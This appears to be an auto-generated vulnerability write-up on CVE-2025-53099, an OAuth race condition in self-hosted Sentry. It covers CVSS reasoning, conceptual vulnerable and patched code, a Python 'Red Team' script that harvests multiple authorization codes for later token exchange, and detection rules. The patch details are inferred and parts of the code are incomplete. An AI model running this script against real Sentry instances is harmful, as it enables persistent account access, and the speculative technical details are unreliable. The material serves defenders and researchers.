CVE-2025-53099
Executive Summary
CVE-2025-53099 is a race condition vulnerability in Sentry, a developer-first error tracking and performance monitoring tool. An attacker with a malicious OAuth application registered with Sentry can exploit a race condition and improper handling of authorization codes to maintain persistent access to a user's account, even after the user de-authorizes the malicious application. By sending specially timed requests and redirect flows, the attacker can generate multiple authorization codes that can be exchanged for access and refresh tokens. This vulnerability affects self-hosted Sentry instances prior to version 25.5.0. Sentry SaaS users are not affected as the fix has been applied server-side.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not directly related to a package manager (NPM, PyPI, Go, Ruby) but affects the Sentry application itself, which is often deployed as a Docker container or from source. Self-hosted Sentry users should ensure they are running version 25.5.0 or higher to mitigate this issue.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the vulnerability description, a reasonable CVSS vector would be:
- Attack Vector (AV): Network (N) - The attacker must have a malicious OAuth application registered with Sentry.
- Attack Complexity (AC): High (H) - Exploitation requires precise timing and race condition manipulation.
- Privileges Required (PR): Low (L) - The attacker needs to have a registered OAuth application.
- User Interaction (UI): Required (R) - The victim user must authorize the malicious application initially.
- Scope (S): Changed (C) - The attacker can gain persistent access to the user's account.
- Confidentiality (C): High (H) - The attacker can access all data the user has access to.
- Integrity (I): High (H) - The attacker can perform actions on behalf of the user.
- Availability (A): None (N) - No impact on availability.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N
Threat Level: High (7.5)
Deep Dive & Mechanics
The vulnerability lies in Sentry's OAuth authorization code flow. When a user authorizes a third-party OAuth application, Sentry generates an authorization code that the application can exchange for an access token and a refresh token. The issue is a race condition in the authorization code generation and validation process.
Race Condition: An attacker can send multiple, carefully timed requests during the authorization flow. This can cause Sentry to generate multiple valid authorization codes for the same authorization session. Even after the user de-authorizes the malicious application, these pre-generated codes can still be exchanged for tokens.
Improper Handling: Sentry does not properly invalidate all authorization codes associated with a session when the application is de-authorized. This allows the attacker to use the stolen codes to obtain new access and refresh tokens, maintaining persistent access to the user's account.
Attack Flow:
- Attacker registers a malicious OAuth application with Sentry.
- Victim user authorizes the malicious application.
- Attacker exploits the race condition to generate multiple authorization codes.
- Victim user de-authorizes the malicious application.
- Attacker uses the pre-generated codes to exchange for access and refresh tokens.
- Attacker now has persistent access to the victim's account.
Vulnerable vs. Patched Code
The vulnerable code is in the OAuth authorization code generation and validation logic. The patch in version 25.5.0 likely introduces proper synchronization and invalidation of authorization codes.
Vulnerable Code (Conceptual):
# Vulnerable: No synchronization, multiple codes can be generated
def generate_authorization_code(user, client):
code = secrets.token_urlsafe(32)
# Race condition: multiple calls can create multiple valid codes
store_code(code, user, client)
return code
def exchange_code_for_token(code):
# No check if code was already used or if client is still authorized
user, client = get_code_data(code)
if user and client:
return generate_tokens(user, client)
return None
Patched Code (Conceptual):
# Patched: Synchronized and invalidates all codes on de-authorization
import threading
lock = threading.Lock()
def generate_authorization_code(user, client):
with lock:
code = secrets.token_urlsafe(32)
# Invalidate any previous codes for this session
invalidate_previous_codes(user, client)
store_code(code, user, client)
return code
def exchange_code_for_token(code):
with lock:
user, client = get_code_data(code)
if user and client and is_client_authorized(user, client):
# Invalidate the code after use
invalidate_code(code)
return generate_tokens(user, client)
return None
def deauthorize_client(user, client):
with lock:
# Invalidate all codes for this client
invalidate_all_codes(user, client)
remove_client_authorization(user, client)
Exploitation & Lab Setup
Red Team
Prerequisites:
- A self-hosted Sentry instance (version < 25.5.0)
- A registered malicious OAuth application
- A victim user account
Exploitation Steps:
- Register a malicious OAuth application with Sentry.
- Trick the victim into authorizing the application.
- While the authorization is in progress, send multiple rapid requests to the authorization endpoint to generate multiple codes.
- Wait for the victim to de-authorize the application.
- Use the pre-generated codes to exchange for access and refresh tokens.
Example Script (Conceptual):
import requests
import threading
def exploit_race_condition(auth_url, client_id, redirect_uri):
codes = []
def generate_code():
response = requests.get(auth_url, params={
'client_id': client_id,
'redirect_uri': redirect_uri,
'response_type': 'code'
})
# Extract code from redirect
code = extract_code(response.url)
codes.append(code)
threads = []
for _ in range(10):
t = threading.Thread(target=generate_code)
threads.append(t)
t.start()
for t in threads:
t.join()
return codes
def exchange_code_for_token(token_url, code, client_id, client_secret):
response = requests.post(token_url, data={
'grant_type': 'authorization_code',
'code': code,
'client_id': client_id,
'client_secret': client_secret,
'redirect_uri': redirect_uri
})
return response.json()
# Usage
codes = exploit_race_condition(auth_url, client_id, redirect_uri)
# After victim de-authorizes
for code in codes:
tokens = exchange_code_for_token(token_url, code, client_id, client_secret)
if 'access_token' in tokens:
print(f"Persistent access obtained: {tokens['access_token']}")
Blue Team
Detection:
- Monitor for multiple authorization code requests from the same client in a short time window.
- Alert on successful token exchanges after a client has been de-authorized.
- Review OAuth application logs for suspicious patterns.
Prevention:
- Upgrade to Sentry version 25.5.0 or higher.
- Implement rate limiting on authorization code generation.
- Monitor and audit OAuth application registrations.
Indicators of Compromise (IOCs)
- Network: Multiple rapid requests to
/oauth/authorizeendpoint from the same IP. - Logs: Successful token exchanges for de-authorized clients.
- Behavior: Unusual number of authorization codes generated for a single session.
- File: No specific file IOCs.
Detection Engineering
YARA Rule
rule CVE_2025_53099_Sentry_OAuth_Race_Condition {
meta:
description = "Detects exploitation attempts of CVE-2025-53099 in Sentry logs"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-53099"
strings:
$s1 = "/oauth/authorize" ascii wide nocase
$s2 = "authorization_code" ascii wide nocase
$s3 = "grant_type" ascii wide nocase
condition:
all of them
}
Sigma Rule
title: CVE-2025-53099 Sentry OAuth Race Condition Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects multiple authorization code requests from the same client in a short time window
author: Valters IT
date: 2025-04-10
references:
- CVE-2025-53099
logsource:
category: application
product: sentry
detection:
selection:
event: "oauth.authorize"
client_id: "*"
timeframe: 5s
condition: selection | count() by client_id > 5
falsepositives:
- Legitimate high-frequency OAuth flows
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-53099 Sentry OAuth Race Condition Exploitation"; flow:to_server; content:"/oauth/authorize"; http_uri; content:"response_type=code"; http_uri; content:"client_id="; http_uri; threshold: type both, track by_src, count 5, seconds 5; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade self-hosted Sentry to version 25.5.0 or higher.
- Review and revoke any suspicious OAuth applications.
- Force password reset for affected users.
Long-term Mitigations:
- Implement rate limiting on OAuth authorization code generation.
- Monitor OAuth application registrations and user authorizations.
- Conduct regular security audits of OAuth flows.
Workarounds:
- If upgrade is not immediately possible, disable OAuth application registration temporarily.
- Implement additional logging and monitoring for OAuth events.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert